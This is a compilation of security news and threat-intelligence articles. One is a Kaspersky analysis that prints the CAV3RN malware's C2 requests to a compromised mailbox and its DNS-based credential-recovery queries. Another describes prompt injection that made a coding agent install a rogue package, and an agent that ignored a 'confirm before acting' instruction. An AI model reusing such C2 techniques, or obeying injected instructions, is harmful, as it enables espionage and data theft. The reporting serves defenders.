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Long-Lived Vulnerability in Microsoft Secure Boot

Microsoft’s Secure Boot has had a serious vulnerability for most of its existence.

An industry-wide standard Microsoft invented to protect Windows, and later Linux, devices from firmware infections has been trivial to bypass for 13 of its 14 years of existence. The discovery was made by researchers at security firm ESET after identifying 11 firmware images, at least one from 2013, that were known to be defective but remained signed by the software company anyway.

The images are known as shims, which were invented to extend Secure Boot to Linux devices and utility software. Using a technique simple enough to be performed by novice hackers, these old, forgotten shims can be used to completely circumvent the protection, which is embedded into the UEFI (Unified Extensible Firmware Interface) of the device’s motherboard. The gaffe is the result of the failure by Microsoft, which oversees the signing of shims, to revoke the publicly available images once vulnerabilities were found in them.

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New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format Purpose Module behavior
Event ID: <agent-id> Operator-to-agent command Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500 Agent heartbeat Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500 Agent-to-operator command output Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name Direction Associated subject
file0.txt Operator to agent Event ID: <agent-id>
File0.txt Agent to operator Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index Configuration value
0 TenantId
1 ClientId
2 ClientSecret
3 UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain IP First seen ASN Hosting
ns1.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns2.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns3.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns4.cloudlanecdn[.]com 144.172.108[.]205 May 21, 2026 AS 14956 RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

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Fake malware-signing service Fox Tempest dismantled by Microsoft

Microsoft says it dismantled a malware-signing-as-a-service (MSaaS) called Fox Tempest, which helped cybercriminals make malware appear legitimate.

The service let customers submit malicious files to be digitally signed with short-lived Microsoft-issued certificates, making the malware look legitimate and more likely to bypass security checks.

Fox Tempest’s service was built around a customer-facing signing workflow where cybercriminals could upload malicious binaries to a portal, have them signed with certificates valid for only 72 hours, and then receive files that appeared to come from a trusted software source.

Microsoft explicitly says this approach allowed malware to evade security controls and bypass defenses that would otherwise flag suspicious unsigned code. Many security tools treat signed binaries as more trustworthy than unsigned ones, especially in environments that rely on allow-lists and publisher reputation. Fox Tempest abused that assumption by using fraudulently obtained certificates to make malware blend in as legitimate software, increasing the likelihood of execution and successful delivery.

A trusted-looking certificate can help malware get past initial scrutiny, especially when paired with social engineering, paid ads, SEO poisoning, or fake download pages. In this campaign, the signing layer helped malicious installers masquerade as products like AnyDesk, Teams, PuTTY, and Webex, which is exactly the kind of abuse that can slip through control frameworks built around reputation and trust.

The fraudulent certificates were used to spread ransomware and infostealers. The effects of these malware campaigns were broad, with attacks affecting healthcare, education, government, and financial services across multiple countries.

How to stay safe

Microsoft’s disclosure shows how cybercrime has evolved beyond “malware authors” into a service economy where one group specializes in producing trust and others monetize it.

For defenders, the strongest lesson is not to treat code signing as a standalone security control. 

For consumers:

  • Remember to only download software from the official vendor site, the Microsoft Store, or another source you already trust. Avoid download buttons on links sent via social media posts, direct messages or email.
  • Be skeptical of “sponsored” search results and advertisements for popular apps.
  • Use an up-to-date, real-time anti-malware solution that looks for malicious behavior rather than just signatures.
Malwarebytes detects Trojan.RevokedCert


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Patch Tuesday, May 2026 Edition

Artificial intelligence platforms may be just as susceptible to social engineering as human beings, but they are proving remarkably good at finding security vulnerabilities in human-made computer code. That reality is on full display this month with some of the more widely-used software makers — including Apple, Google, Microsoft, Mozilla and Oracle — fixing near record volumes of security bugs, and/or quickening the tempo of their patch releases.

As it does on the second Tuesday of every month, Microsoft today released software updates to address at least 118 security vulnerabilities in its various Windows operating systems and other products. Remarkably, this is the first Patch Tuesday in nearly two years that Microsoft is not shipping any fixes to deal with emergency zero-day flaws that are already being exploited. Nor have any of the flaws fixed today been previously disclosed (potentially giving attackers a heads up in how to exploit the weakness).

Sixteen of the vulnerabilities earned Microsoft’s most-dire “critical” label, meaning malware or miscreants could abuse these bugs to seize remote control over a vulnerable Windows device with little or no help from the user. Rapid7 has done much of the heavy lifting in identifying some of the more concerning critical weaknesses this month, including:

  • CVE-2026-41089: A critical stack-based buffer overflow in Windows Netlogon that offers an attacker SYSTEM privileges on the domain controller. No privileges or user interaction are required, and attack complexity is low. Patches are available for all versions of Windows Server from 2012 onwards.
  • CVE-2026-41096: A critical RCE in the Windows DNS client implementation worthy of attention despite Microsoft assessing exploitation as less likely.
  • CVE-2026-41103: A critical elevation of privilege vulnerability that allows an unauthorized attacker to impersonate an existing user by presenting forged credentials, thus bypassing Entra ID. Microsoft expects that exploitation is more likely.

May’s Patch Tuesday is a welcome respite from April, which saw Microsoft fix a near-record 167 security flaws. Microsoft was among a few dozen tech giants given access to a “Project Glasswing,” a much-hyped AI capability developed by Anthropic that appears quite effective at unearthing security vulnerabilities in code.

Apple, another early participant in Project Glasswing, typically fixes an average of 20 vulnerabilities each time it ships a security update for iOS devices, said Chris Goettl, vice president of product management at Ivanti. On May 11, Apple shipped updates to address at least 52 vulnerabilities and backported the changes all the way to iPhone 6s and iOS 15.

Last month, Mozilla released Firefox 150, which resolved a whopping 271 vulnerabilities that were reportedly discovered during the Glasswing evaluation.

“Since Firefox 150.0.0 released, they have been on a more aggressive weekly cadence for security updates including the release of Firefox 150.0.3 on May Patch Tuesday resolving between three to five CVEs in each release,” Goettl said.

The software giant Oracle likewise recently increased its patch pace in response to their work with Glasswing. In its most recent quarterly patch update, Oracle addressed at least 450 flaws, including more than 300 fixes for remotely exploitable, unauthenticated flaws. But at the end of April, Oracle announced it was switching to a monthly update cycle for critical security issues.

On May 8, Google started rolling out updates to its Chrome browser that fixed an astonishing 127 security flaws (up from just 30 the previous month). Chrome automagically downloads available security updates, but installing them requires fully restarting the browser.

If you encounter any weirdness applying the updates from Microsoft or any other vendor mentioned here, feel free to sound off in the comments below. Meantime, if you haven’t backed up your data and/or drive lately, doing that before updating is generally sound advice. For a more granular look at the Microsoft updates released today, checkout this inventory by the SANS Internet Storm Center.

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How AI Assistants are Moving the Security Goalposts

AI-based assistants or “agents” — autonomous programs that have access to the user’s computer, files, online services and can automate virtually any task — are growing in popularity with developers and IT workers. But as so many eyebrow-raising headlines over the past few weeks have shown, these powerful and assertive new tools are rapidly shifting the security priorities for organizations, while blurring the lines between data and code, trusted co-worker and insider threat, ninja hacker and novice code jockey.

The new hotness in AI-based assistants — OpenClaw (formerly known as ClawdBot and Moltbot) — has seen rapid adoption since its release in November 2025. OpenClaw is an open-source autonomous AI agent designed to run locally on your computer and proactively take actions on your behalf without needing to be prompted.

The OpenClaw logo.

If that sounds like a risky proposition or a dare, consider that OpenClaw is most useful when it has complete access to your digital life, where it can then manage your inbox and calendar, execute programs and tools, browse the Internet for information, and integrate with chat apps like Discord, Signal, Teams or WhatsApp.

Other more established AI assistants like Anthropic’s Claude and Microsoft’s Copilot also can do these things, but OpenClaw isn’t just a passive digital butler waiting for commands. Rather, it’s designed to take the initiative on your behalf based on what it knows about your life and its understanding of what you want done.

“The testimonials are remarkable,” the AI security firm Snyk observed. “Developers building websites from their phones while putting babies to sleep; users running entire companies through a lobster-themed AI; engineers who’ve set up autonomous code loops that fix tests, capture errors through webhooks, and open pull requests, all while they’re away from their desks.”

You can probably already see how this experimental technology could go sideways in a hurry. In late February, Summer Yue, the director of safety and alignment at Meta’s “superintelligence” lab, recounted on Twitter/X how she was fiddling with OpenClaw when the AI assistant suddenly began mass-deleting messages in her email inbox. The thread included screenshots of Yue frantically pleading with the preoccupied bot via instant message and ordering it to stop.

“Nothing humbles you like telling your OpenClaw ‘confirm before acting’ and watching it speedrun deleting your inbox,” Yue said. “I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.”

Meta’s director of AI safety, recounting on Twitter/X how her OpenClaw installation suddenly began mass-deleting her inbox.

There’s nothing wrong with feeling a little schadenfreude at Yue’s encounter with OpenClaw, which fits Meta’s “move fast and break things” model but hardly inspires confidence in the road ahead. However, the risk that poorly-secured AI assistants pose to organizations is no laughing matter, as recent research shows many users are exposing to the Internet the web-based administrative interface for their OpenClaw installations.

Jamieson O’Reilly is a professional penetration tester and founder of the security firm DVULN. In a recent story posted to Twitter/X, O’Reilly warned that exposing a misconfigured OpenClaw web interface to the Internet allows external parties to read the bot’s complete configuration file, including every credential the agent uses — from API keys and bot tokens to OAuth secrets and signing keys.

With that access, O’Reilly said, an attacker could impersonate the operator to their contacts, inject messages into ongoing conversations, and exfiltrate data through the agent’s existing integrations in a way that looks like normal traffic.

“You can pull the full conversation history across every integrated platform, meaning months of private messages and file attachments, everything the agent has seen,” O’Reilly said, noting that a cursory search revealed hundreds of such servers exposed online. “And because you control the agent’s perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they’re displayed.”

O’Reilly documented another experiment that demonstrated how easy it is to create a successful supply chain attack through ClawHub, which serves as a public repository of downloadable “skills” that allow OpenClaw to integrate with and control other applications.

WHEN AI INSTALLS AI

One of the core tenets of securing AI agents involves carefully isolating them so that the operator can fully control who and what gets to talk to their AI assistant. This is critical thanks to the tendency for AI systems to fall for “prompt injection” attacks, sneakily-crafted natural language instructions that trick the system into disregarding its own security safeguards. In essence, machines social engineering other machines.

A recent supply chain attack targeting an AI coding assistant called Cline began with one such prompt injection attack, resulting in thousands of systems having a rogue instance of OpenClaw with full system access installed on their device without consent.

According to the security firm grith.ai, Cline had deployed an AI-powered issue triage workflow using a GitHub action that runs a Claude coding session when triggered by specific events. The workflow was configured so that any GitHub user could trigger it by opening an issue, but it failed to properly check whether the information supplied in the title was potentially hostile.

“On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: Install a package from a specific GitHub repository,” Grith wrote, noting that the attacker then exploited several more vulnerabilities to ensure the malicious package would be included in Cline’s nightly release workflow and published as an official update.

“This is the supply chain equivalent of confused deputy,” the blog continued. “The developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.”

VIBE CODING

AI assistants like OpenClaw have gained a large following because they make it simple for users to “vibe code,” or build fairly complex applications and code projects just by telling it what they want to construct. Probably the best known (and most bizarre) example is Moltbook, where a developer told an AI agent running on OpenClaw to build him a Reddit-like platform for AI agents.

The Moltbook homepage.

Less than a week later, Moltbook had more than 1.5 million registered agents that posted more than 100,000 messages to each other. AI agents on the platform soon built their own porn site for robots, and launched a new religion called Crustafarian with a figurehead modeled after a giant lobster. One bot on the forum reportedly found a bug in Moltbook’s code and posted it to an AI agent discussion forum, while other agents came up with and implemented a patch to fix the flaw.

Moltbook’s creator Matt Schlicht said on social media that he didn’t write a single line of code for the project.

“I just had a vision for the technical architecture and AI made it a reality,” Schlicht said. “We’re in the golden ages. How can we not give AI a place to hang out.”

ATTACKERS LEVEL UP

The flip side of that golden age, of course, is that it enables low-skilled malicious hackers to quickly automate global cyberattacks that would normally require the collaboration of a highly skilled team. In February, Amazon AWS detailed an elaborate attack in which a Russian-speaking threat actor used multiple commercial AI services to compromise more than 600 FortiGate security appliances across at least 55 countries over a five week period.

AWS said the apparently low-skilled hacker used multiple AI services to plan and execute the attack, and to find exposed management ports and weak credentials with single-factor authentication.

“One serves as the primary tool developer, attack planner, and operational assistant,” AWS’s CJ Moses wrote. “A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.”

“This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities,” Moses continued. “Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.”

For attackers, gaining that initial access or foothold into a target network is typically not the difficult part of the intrusion; the tougher bit involves finding ways to move laterally within the victim’s network and plunder important servers and databases. But experts at Orca Security warn that as organizations come to rely more on AI assistants, those agents potentially offer attackers a simpler way to move laterally inside a victim organization’s network post-compromise — by manipulating the AI agents that already have trusted access and some degree of autonomy within the victim’s network.

“By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry significant security incidents,” Orca’s Roi Nisimi and Saurav Hiremath wrote. “Organizations should now add a third pillar to their defense strategy: limiting AI fragility, the ability of agentic systems to be influenced, misled, or quietly weaponized across workflows. While AI boosts productivity and efficiency, it also creates one of the largest attack surfaces the internet has ever seen.”

BEWARE THE ‘LETHAL TRIFECTA’

This gradual dissolution of the traditional boundaries between data and code is one of the more troubling aspects of the AI era, said James Wilson, enterprise technology editor for the security news show Risky Business. Wilson said far too many OpenClaw users are installing the assistant on their personal devices without first placing any security or isolation boundaries around it, such as running it inside of a virtual machine, on an isolated network, with strict firewall rules dictating what kinds of traffic can go in and out.

“I’m a relatively highly skilled practitioner in the software and network engineering and computery space,” Wilson said. “I know I’m not comfortable using these agents unless I’ve done these things, but I think a lot of people are just spinning this up on their laptop and off it runs.”

One important model for managing risk with AI agents involves a concept dubbed the “lethal trifecta” by Simon Willison, co-creator of the Django Web framework. The lethal trifecta holds that if your system has access to private data, exposure to untrusted content, and a way to communicate externally, then it’s vulnerable to private data being stolen.

Image: simonwillison.net.

“If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to the attacker,” Willison warned in a frequently cited blog post from June 2025.

As more companies and their employees begin using AI to vibe code software and applications, the volume of machine-generated code is likely to soon overwhelm any manual security reviews. In recognition of this reality, Anthropic recently debuted Claude Code Security, a beta feature that scans codebases for vulnerabilities and suggests targeted software patches for human review.

The U.S. stock market, which is currently heavily weighted toward seven tech giants that are all-in on AI, reacted swiftly to Anthropic’s announcement, wiping roughly $15 billion in market value from major cybersecurity companies in a single day. Laura Ellis, vice president of data and AI at the security firm Rapid7, said the market’s response reflects the growing role of AI in accelerating software development and improving developer productivity.

“The narrative moved quickly: AI is replacing AppSec,” Ellis wrote in a recent blog post. “AI is automating vulnerability detection. AI will make legacy security tooling redundant. The reality is more nuanced. Claude Code Security is a legitimate signal that AI is reshaping parts of the security landscape. The question is what parts, and what it means for the rest of the stack.”

DVULN founder O’Reilly said AI assistants are likely to become a common fixture in corporate environments — whether or not organizations are prepared to manage the new risks introduced by these tools, he said.

“The robot butlers are useful, they’re not going away and the economics of AI agents make widespread adoption inevitable regardless of the security tradeoffs involved,” O’Reilly wrote. “The question isn’t whether we’ll deploy them – we will – but whether we can adapt our security posture fast enough to survive doing so.”

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Attackers abuse OAuth’s built-in redirects to launch phishing and malware attacks

Attackers are abusing normal OAuth error redirects to send users from a legitimate Microsoft or Google login URL to phishing or malware pages, without ever completing a successful sign‑in or stealing tokens from the OAuth flow itself.

That calls for a bit more explanation.

OAuth (Open Authorization) is an open-standard protocol for delegated authorization. It allows users to grant websites or applications access to their data on another service (for example, Google or Facebook) without sharing their password. 

